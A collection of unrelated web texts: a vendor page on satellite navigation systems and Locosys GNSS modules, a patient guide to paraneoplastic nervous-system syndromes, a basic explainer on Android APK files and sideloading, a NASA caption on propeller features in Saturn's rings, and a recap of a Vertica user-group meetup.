Glonass: GLONASS is a global satellite navigation system of Russia and is the only alternative navigational system in operation with global coverage and of comparable precision next to the GPS system. Development started in 1976, and became fully operational with its 24 satellites by 2010. 18 out of the 24 satellites cover the complete area of Russia.
Galileo: This is the GNSS being designed by the European Union, in order to provide an accurate positioning system for the citizens of EU independent from the American GPS, Russian GLONASS and Chinese Beidou systems, that can be switched of in case of a conflict between the countries. At the moment a few satellites have been launched for testing the system, full functional constellation will consist of 30 satellites and expected to be done in 2019. The accuracy of one meters and the better possibilities of using positioning in high latitudes would be extended with a unique search and rescue function that will also provide feedback to the user confirming that position has been detected and help is on the way.
Beidou and Compass: These two systems are developed by China. Beidou is an operational regional test system - consisting of originally three , and lately ten satellites and providing limited functionalities for mainly Chinese customers- , while its second generation - called also as Compass - will be a global system of 35 satellites and planned to be fully finished by 2020.
The Quasi-Zenith Satellite System (QZSS) consists of a multiple number of satellites that fly in the orbit over Japan. Its main task is to increase the availability of GPS signals in areas like canyons and valleys, where only the satellites of very high elevation can be seen. By sharing almost the same positioning signals with the GPS system, territory of Japan can enjoy improvements of positioning accuracy from meter to the centimeter level, more reliability and better availability of GPS signals. In order to have always at least one available satellite over Japan, three QZSs are necessary.
GNSS modules (concurrent multi-GNSS receiving)
The performance of the SAT navigation systems is defined by the following four criteria:
•Accuracy: The desired minimal difference of the real position, speed and direction of the object and the geo-position measured by the receiver
•Integrity: The capability of the system to provide confidence in signaling system abnormalities
•Continuity: the system‘s ability to perform without interruptions
•Availability: Maximum time during the signal meets the criteria of accuracy, integrity and continuity
In order to get the best performance of the signals it is not enough only to see four satellites, that was enough to get usable coordinates, but need six or even eight ones. It is not always possible to get eight satellites in view in certain part of the day, especially in environment with disturbing objects like high buildings, trees and hills. The integration of different systems would provide the advantage of using many more satellites, like for instance the combined usage of GPS and GLONASS systems provide access to more satellites, than GPS alone. The 24 GPS satellites are extended with the GLONASS ones, which results more precise functioning, especially when the receiver is used in higher latitudes, where some of the GPS satellites are below the horizon of the observer, therefore even less would be available at the same time.
The so called GNSS receivers can detect signals of combinations of global positioning satellite systems, like GPS, GLONASS and later on GALILEO in order to shorten the time of the first fix (TTFF) of position and provide more accuracy.
For above purposes Endrich offers a number of GNSS receiver modules from our supplier LOCOSYS, a TS16949:2009 approved innovator and leader of the GNSS market, engaged to the quality of the products.
Locosys, the partner of Endrich offers a number of receiver modules for the detailed GNSS systems, which could be used for instance for mobile alarm systems of cars, boats, motorcycles, week-end houses as well as track and trace devices for human , animal and cargo tracking applications. The chipsets being used are from Mediatek, CSR (SIRF) and STM. Mediatek chips support concurrent multi-GNSS receiving including GPS, GLONASS, Beidou, Galileo, QZSS as well as SiRFstarV chips. The result is high availability and accuracy for positioning and navigation outdoors or on pedestrian areas. STMicro chips are used for more enhanced systems, like automotive market having the appropriate AECQ100 approvals. The firmwares are programmed in house, therefore software platform and programming environment are available for all modules.
For cheaper applications with less requirements ROM based firmwares could be used, for more complex tasks -like for advanced GPS functions - Flash memories are used.
Customization of the antenna into customers application is possible.
GNSS smart antennas
The GNSS smart antennas include a board level GNSS receiver and an embedded GNSS patch antenna integrated into one compact enclosure. The product, that Locosys offers is based on MediaTek chip solution. The GPS smart antenna will acquire up to 66 satellites at a time while providing fast time-to-first-fix, one-second navigation update and low power consumption. It can provide user with superior sensitivity and performance even in urban canyon and dense foliage environment. Its far-reaching capability meets the sensitivity requirements of car navigation as well as other location-based applications.
In addition to positioning data, the GPS provides a very important dimension, the time. Each of the satellites contains atomic clocks that insert precise time data to the GPS signals. GPS receivers decode these signals, and synchronize themselves. Instead of operating expensive atomic clocks, this feature enables users to determine the time very precisely. Precise time is very important to a large number of tasks in parctise. Communication systems, traffic signals, electrical power grids, and financial networks all rely on precision timing for synchronization. The availability of GPS time provides a cost effective way for engineers to realize time base for computer network applications, time stamp for bank card transactions or synchronizing radio broadcast. Weather forecasting, distributed networks of instruments over wide geographic areas all need precise timing for perfect functioning. Power plants and distribution companies need improved time synchronization throughout the power grid in order to locate the anomalies propagate through the network segments. We can also provide solution with the Locosys timing module with the physical size of 16 x 12.2 x 2.2 mm equipped by UART/CAN BUS/USB interface.
The LOCOSYS TMC-1009 RDS tiny module is designed to allow easy integration of TMC (Traffic Message Channel) functionality in customer portable devices or mobile navigation systems. TMC-1009 can receive and decode the TMC information efficiently and output the data with AdvanceTMC protocol which is NMEA-like ASCII message and downward compatible with OpenTMC v2.0.
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Paraneoplastic syndromes of the nervous system
Paraneoplastic syndromes of the nervous system are a group of uncommon disorders that develop in some people who have cancer. Paraneoplastic syndromes can also affect other organ systems including hormone (endocrine), skin (dermatologic), blood (hematologic) and joints (rheumatologic).
Paraneoplastic syndromes of the nervous system occur when cancer-fighting agents of the immune system also attack parts of the brain, spinal cord, peripheral nerves or muscle.
Depending on where the nervous system is affected, paraneoplastic syndromes can cause problems with muscle movement or coordination, sensory perception, memory or thinking skills, or even sleep.
Sometimes the injury to the nervous system is reversible with therapy directed toward the cancer and the immune system. However, these diseases can also rapidly result in severe damage to the nervous system that can't be reversed.
Regardless, treatment of the underlying cancer and other interventions may prevent further damage, improve symptoms and give you a better quality of life.
Signs and symptoms of paraneoplastic syndromes of the nervous system can develop relatively quickly, often over days to weeks. Signs and symptoms of paraneoplastic syndromes of the nervous system often begin even before a cancer is diagnosed.
Signs and symptoms vary depending on the body part being injured, and may include:
- Difficulty walking
- Difficulty maintaining balance
- Loss of muscle coordination
- Loss of muscle tone or weakness
- Loss of fine motor skills, such as picking up objects
- Difficulty swallowing
- Slurred speech or stuttering
- Memory loss and other thinking (cognitive) impairment
- Vision problems
- Sleep disturbances
- Unusual involuntary movements
Types of paraneoplastic syndromes
Examples of paraneoplastic syndromes of the nervous system include:
- Cerebellar degeneration. This is the loss of nerve cells in the area of the brain that controls muscle functions and balance (cerebellum). Signs and symptoms may include unsteady or impaired walking, lack of muscle coordination in your limbs, inability to maintain your trunk posture, dizziness, nausea, involuntary eye movement, double vision, difficulty speaking, or difficulty swallowing.
- Limbic encephalitis. This is inflammation affecting a region of the brain known as the limbic system, which controls emotions, behaviors and certain memory functions. People with this disorder may experience personality changes or mood disturbances, memory loss, seizures, hallucinations, or drowsiness.
- Encephalomyelitis. This syndrome refers to inflammation of the brain and spinal cord. There may be a wide variety of symptoms and signs depending on the area affected.
- Opsoclonus-myoclonus. This syndrome is due to dysfunction of the cerebellum or its connections. It can cause rapid, irregular eye movements (opsoclonus) and involuntary, chaotic muscle jerks (myoclonus) in your limbs and trunk.
- Stiff person syndrome. Previously called stiff man syndrome, this syndrome is characterized by progressive, severe muscle stiffness or rigidity, mainly affecting your spine and legs. It may also cause painful muscle spasms.
- Myelopathy. This term refers to a syndrome of injury limited to the spinal cord. Depending on the level of spinal cord injury, you may have changes in bowel and bladder function, and severe weakness and numbness up to a certain level in your body. If the level of injury includes your neck, you can have severe disability affecting all four limbs.
Lambert-Eaton myasthenic syndrome. This is a syndrome caused by disrupted communication between nerves and muscles. Signs and symptoms include pelvic and lower extremity muscle weakness, fatigue, difficulty swallowing, difficulty speaking, irregular eye movement, and double vision. Autonomic nervous system problems can include dry mouth and impotence.
When it occurs as a paraneoplastic syndrome, Lambert-Eaton myasthenic syndrome is typically associated with lung cancer.
Myasthenia gravis. Myasthenia gravis is also related to disrupted communication between nerves and muscles and also characterized by weakness and rapid fatigue of any of the muscles that are under voluntary control, including muscles in your face, eyes, arms and legs. The muscles involved in chewing, swallowing, talking and breathing may be affected as well.
When myasthenia gravis occurs as a paraneoplastic syndrome, it is typically associated with cancer of the thymus gland (thymoma).
- Neuromyotonia. Neuromyotonia — also known as Isaacs' syndrome — is characterized by abnormal impulses in nerve cells outside the brain and spinal cord (peripheral nerve hyperexcitability) that control muscle movement. These impulses can cause twitching, muscle rippling that looks like a "bag of worms," progressive stiffness, muscle cramps, slowed movement and other muscle impairments.
- Peripheral neuropathy. This condition refers to patterns of damage to nerves that transmit messages from the brain or spinal column to the rest of your body. When damage involves only the sensory nerves of the peripheral nervous system, you can have pain and disturbances in sensation anywhere in your body.
- Dysautonomia. Dysautonomia refers to a wide range of signs and symptoms resulting from injury to the nerves that regulate involuntary body functions (autonomic nervous system), such as heart rate, blood pressure, sweating, and bowel and bladder functions. When this part of the nervous system is affected, common symptoms are low blood pressure, irregular heartbeats and trouble breathing.
When to see a doctor
The signs and symptoms of paraneoplastic syndromes of the nervous system are similar to those of many conditions, including cancer, cancer complications and even some cancer treatments.
But if you have any signs or symptoms suggesting a paraneoplastic syndrome, see your doctor as soon as possible. Early diagnosis and appropriate care can be extremely important.
Paraneoplastic syndromes are not caused by cancer cells directly disrupting nerve function, by the cancer spreading (metastasis), or by other complications such as infections or treatment side effects. Instead, they occur alongside the cancer as a result of the activation of your immune system.
Researchers believe that paraneoplastic syndromes are caused by cancer-fighting abilities of the immune system, particularly antibodies and certain white blood cells, known as T cells. Instead of attacking only the cancer cells, these immune system agents also attack the normal cells of the nervous system and cause neurological disorders.
Any cancer may be associated with a paraneoplastic syndrome of the nervous system. However, the disorders occur more often in people with cancers of the lung, ovary, breast, testis or lymphatic system.
To diagnose paraneoplastic syndrome of the nervous system, your doctor will need to conduct a physical exam and order blood tests. He or she may also need to request a spinal tap or imaging tests.
Because paraneoplastic syndromes of the nervous system are associated with cancer, your doctor may also perform certain cancer screening tests based on your age.
Your doctor or a neurologist will conduct a general physical, as well as a neurological exam. He or she will ask you questions and conduct simple tests in the office to judge:
- Muscle strength
- Muscle tone
- Sense of touch
- Vision and hearing
Laboratory tests will likely include:
- Blood tests. You may have blood drawn for a number of laboratory tests, including tests to identify antibodies commonly associated with paraneoplastic syndromes. Other tests may attempt to identify an infection, a hormone disorder or a disorder in processing nutrients (metabolic disorder) that could be causing your symptoms.
Spinal tap (lumbar puncture). You may undergo a lumbar puncture to obtain a sample of cerebrospinal fluid (CSF) — the fluid that cushions your brain and spinal cord. A neurologist or specially trained nurse inserts a needle into your lower spine to remove a small amount of CSF for laboratory analysis.
Sometimes, paraneoplastic antibodies may be found in CSF when they can't be seen in your blood. If these antibodies are found in both your CSF and your blood, it provides strong evidence that your nervous system symptoms are caused by a specific form of activation of the immune system.
Imaging tests are used to find a tumor that may be the underlying problem or to identify other factors causing your neurological symptoms. One or more of the following tests may be used:
- Computerized tomography (CT) is a specialized X-ray technology that produces thin, cross-sectional images of tissues.
- Magnetic resonance imaging (MRI) uses a magnetic field and radio waves to create detailed cross-sectional or 3D images of your body's tissue.
- Positron emission tomography (PET) uses radioactive compounds injected into your bloodstream to produce cross-sectional or 3D images of the body. PET scans can be used to identify tumors, measure metabolism in tissues, show blood flow and locate brain abnormalities related to seizures.
- PET plus CT, a combination of PET and CT, may increase the detection rate of small cancers, common in people who have paraneoplastic neurological disorders.
If no malignant tumor is located or no other cause identified, the problem may still be related to a tumor that is too small to find. The tumor may be causing a powerful response from the immune system that is keeping it very small. You'll likely have follow-up imaging tests every three to six months until a cause for the neurological disorder is identified.
Treatment of neurological paraneoplastic syndromes involves treating the cancer and, in some cases, suppressing the immune response that's causing your signs and symptoms. Your treatment will depend on the specific type of paraneoplastic syndrome you have, but it may include the following options.
In addition to drugs, such as chemotherapy, to combat your cancer, your doctor may prescribe one or more of the following drugs to stop your immune system from attacking your nervous system:
- Corticosteroids, such as prednisone, inhibit inflammation. Serious long-term side effects include weakening of the bones (osteoporosis), type 2 diabetes, high blood pressure, high cholesterol and others.
- Immunosuppressants slow the production of disease-fighting white blood cells. Side effects include an increased risk of infections. Drugs may include azathioprine (Imuran, Azasan) and cyclophosphamide.
Depending on the type of neurological syndrome and symptoms, other medications may include:
- Anti-seizure medications, which may help control seizures associated with syndromes that cause electrical instability in the brain.
- Medications to enhance nerve-to-muscle transmission, which may improve symptoms of syndromes affecting muscle function. Some drugs enhance the release of a chemical messenger that transmits a signal from nerve cells to muscles. Other drugs, such as pyridostigmine (Mestinon, Regonol), prevent the breakdown of these chemical messengers.
Other medical treatments
Other treatments that may improve symptoms include:
- Plasmapheresis. This process separates the fluid part of the blood, called plasma, from your blood cells with a device known as a cell separator. Technicians return your red and white blood cells, along with your platelets, to your body, while discarding the plasma, which contains unwanted antibodies, and replacing it with other fluids.
- Intravenous immunoglobulin (IVIg). Immunoglobulin contains healthy antibodies from blood donors. High doses of immunoglobulin speed up the destruction of the damaging antibodies in your blood.
Other therapies may be helpful if a paraneoplastic syndrome has caused significant disability:
- Physical therapy. Specific exercises may help you regain some muscle function that has been damaged.
- Speech therapy. If you are having trouble speaking or swallowing, a speech therapist can help you relearn the necessary muscle control.
Coping and support
Many people with cancer benefit from education and resources designed to improve coping skills. If you have questions or would like guidance, talk with a member of your health care team. The more you know about your condition, the better you're able to participate in decisions about your care.
Support groups can put you in touch with others who have faced the same challenges you're facing. If you can't find an appropriate support group where you live, you might find one on the internet.
Preparing for an appointment
Most people with paraneoplastic syndrome experience neurological problems before having any indication of cancer or receiving a cancer diagnosis. Therefore, you're likely to start by seeing your primary care doctor about your symptoms. You may then be referred to a specialist in nervous system disorders (neurologist) or a cancer specialist (oncologist).
What you can do
- Be aware of any pre-appointment restrictions. At the time you make the appointment, be sure to ask if there's anything you need to do in advance, such as restrict your diet.
- Write down any symptoms you're experiencing, including any that may seem unrelated to the reason for which you scheduled the appointment.
- Write down key personal information, including any major stresses or recent life changes.
- Make a list of all medications, vitamins or supplements that you're taking.
- Consider taking a family member or friend along. Sometimes it can be difficult to remember all the information provided during an appointment. Someone who accompanies you may remember something that you missed or forgot.
- Write down questions to ask your doctor.
Your time with your doctor may be limited, so preparing a list of questions can help you make the most of your time together. List your questions from most important to least important in case time runs out. Some basic questions to ask your doctor include:
- What's the most likely cause of my symptoms?
- What diagnostic tests will you order? Do I need to prepare for these tests?
- Which specialists will I need to see?
- How soon am I likely to complete the tests and get results?
- What are you looking for in the tests?
- What conditions are you trying to rule out?
What to expect from your doctor
Your doctor may ask the following questions:
- Have you had any muscle weakness or lack of coordination?
- Have you had any unusual or involuntary muscle movements?
- Have you had any vision problems?
- Do you have any problems chewing, swallowing or speaking?
- Do you have any difficulty breathing?
- Have you had any seizures? How long have they lasted?
- Have you experienced dizziness or nausea?
- Do you have trouble sleeping, or have your sleep patterns changed?
- Are you having difficulty performing everyday tasks with your hands?
- Have you had any numbness or tingling in your limbs?
- Have you had a significant change in mood?
- Have you been seeing or hearing things that others are not aware of?
- Have you had any memory problems?
- When did your symptoms begin?
- Have your symptoms become worse?
- Have you been diagnosed with cancer?
- What medications do you take, including over-the-counter drugs and dietary supplements? What are the daily dosages?
- Have any close relatives had cancer? If so, what types of cancer?
- Have you ever smoked?
- Do you or does anyone in your family have some form of autoimmune disease?
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APK stands for Android package kit. This is a file format that is used by the operating system in Android for the installation and the distribution of middleware and mobile apps. The files are actually analogous to the other packages like APPX for Microsoft Windows or the Debn kind of packages within debian based kind of OS such as Ubuntu.
So as to come up with the APK file, one needs an Android program for Android to be compiled and then all parts packaged into a single file that contains the code of the program. This can be files like .dex files. The APK file also has to have the manifest, certificates, assets and resources files. Just like any kinds of file formats that you may know of, the APK files are allowed to have any kind of name that is needed. The only thing that has to remain constant is the end which should be .apk.
They are a kind of archive file and found in the zip format packages that are based on JAR format .apk is the filename extension.
One can install the files in the devices that are Android powered just the way we install software on the PC. When one downloads and then installs an application on Android from official sites or other unofficial sites, they are actually installing APK ion the device.
It is possible for a person to install APK files directly in devices. This can be done without necessarily downloading them from any network. You can use a desktop computer and use different communication programs.
You can also use a process that is referred to as side loading. Usually, this ability to install from sites that aren’t official or from the file manager or direct from a desktop comes disabled because of different security reasons in many of the Android devices that we have. You can enable this by simply changing the unknown sources settings within the menu.
Why install an APK file
Usually, APK files get leaked before time and this allows you to have an easy access to many new features that would not have been availed to you. There are also some apps that certain regions can actually restrict. Having the APK files allows one to be able to bypass the various carriers so as to have the very latest updates on Google. This can take a lot of time to arrive on the network. In the Android device you are using doesn’t have access to the play site, then installing the apps may require having the APK files and it may be the only option that you have.
When using this method, you need to be careful not to end up with apps that aren’t legally acquired. There are services that may allow the download of apps that are pirated. Do your research so as to avoid breaking laws. Find a downloader that is well known for its efficiency.
Always ensure that you use a site that you can really trust since there are APK files that can have some malicious software
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The Cassini spacecraft captures eight new propeller-like features within Saturn's A ring in what may be the propeller "hot zone" of Saturn's rings.
Propeller features form around small moonlets that are not massive enough to clear out ring material, but are still able to pull smaller ring particles into a shape reminiscent of an airplane propeller. Scientists believe that propellers represent moonlet wakes, which are denser than the surrounding ring material and appear bright in the images.
Propellers were first discovered in Cassini images taken during Saturn orbit insertion in 2004. This new image is from a more extensive study of the full A ring and provides evidence that these features are not distributed evenly as previously thought, but are instead grouped in a 3,000 kilometer-wide (1,860 mile) propeller belt.
This image shows four new propellers and was put together from images in the Planetary Data System, a web site which archives and distributes scientific data from NASA planetary missions. The largest propeller seen here is noted in the white dashed box, and it indicates the presence of a 150-meter (490-foot) moonlet. The size is inferred from the radial separation of the propeller wings. The propeller is seen in another image and is shown in the upper left box. The reappearance of the propellers clearly demonstrates the orbital motion of the propellers. The region enclosed in the red box is zoomed and shown in the top panel of Propeller Close Up. Three additional propellers are noted with white dashed circles on the right. Very bright and round spots are artifacts. But some of the bright elongated and non-saturated streaks could be smaller propellers that are not resolved in the image.
This view is made up of two images from a set of 26 images with a complete radial coverage of the A ring and part of the Cassini division taken during an occultation of the star Antares (alpha Scorpii; brightest spot on top) on Aug. 20, 2005.
In this clear filter image, the Cassini spacecraft narrow-angle camera observed the unlit side of the rings, with a phase angle of 126 degrees. The images were taken at 1 minute intervals with 0.05 seconds exposure time. Image resolution is 1 kilometer (0.6 miles) per pixel.
The Cassini-Huygens mission is a cooperative project of NASA, the European Space Agency and the Italian Space Agency. The Jet Propulsion Laboratory, a division of the California Institute of Technology in Pasadena, manages the mission for NASA's Science Mission Directorate, Washington, D.C. The Cassini orbiter was designed, developed and assembled at JPL.
For more information about the Cassini-Huygens mission visit http://saturn.jpl.nasa.gov .
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white cloud in vault type room representing cloud computing
On Tuesday, August 22, The Boston Vertica User Group hosted a late-summer Meetup to talk to attendees about compute engines and data mart applications, and the advantages and disadvantages of both solutions. In the cozy rustic-industrial atmosphere of Commonwealth Market and Restaurant
, decorated with recycled wood pallets, the group of Vertica customers, prospective customers, employees, and just folks interested in data analytics sampled the quirky beer offerings (check out the Lemongrass Saison on draft, brewed by the Maui Brewing Co. in Kihei, HI) before talking about distributed machine learning for big data.
Waqas Dhillon of Vertica with Bryan Whitmore gave a short presentation focused on organizations getting insights from their data in real time, and which solution can make that happen quickly and accurately. Specifically, Waqas talked about compute engines, using Spark as an example, and data marts, using Vertica as the example. The biggest advantages that data marts have, he explained, are built-in data storage for handling large amounts of data while performing analytics in place and high concurrency in order to process the data quickly, supporting multiple users.
To illustrate his point, Waqas used machine learning analytics. His benchmarks show that when running KMeans, Linear Regression, Logistic Regression, or Naïve Bayes algorithms, Vertica has minor performance advantages over Spark with relatively small amounts of data. But as the amount of data increases, Vertica provides, in most cases, orders of magnitude better performance than the same machine-learning algorithms running in Spark using the exact same architecture. While Vertica numbers include the time it takes to load data from disk to memory, the data loading times for Spark are not included in the performance comparison graphs to give Spark an unfair advantage.
Then Waqas compared the steps needed to train and test a Random Forests model in both Spark and Vertica. The example he used was classifying bank loans as low, medium, or high risk. Because Spark has to import the random forest libraries, and load and convert the data before running the model, performing the calculations is more complicated: 28 lines of code in Scala is required compared to just 7 lines of SQL in Vertica to run a Random Forest model.
Waqas finished his presentation by evaluating the needs of organizations that focus on four types of architecture considerations: data demand, organizational structure, accuracy requirements, and deployment configurations. For each area, Waqas drilled down into specific considerations and identified whether a compute engine (CE) or data mart (DM) would be the right solution. The following images capture his recommendations.
After the presentation, attendees asked Waqas and Bryan questions about storage, pricing, and competing products that were not mentioned in the presentation. People lingered for a while, asking more questions and swapping stories.
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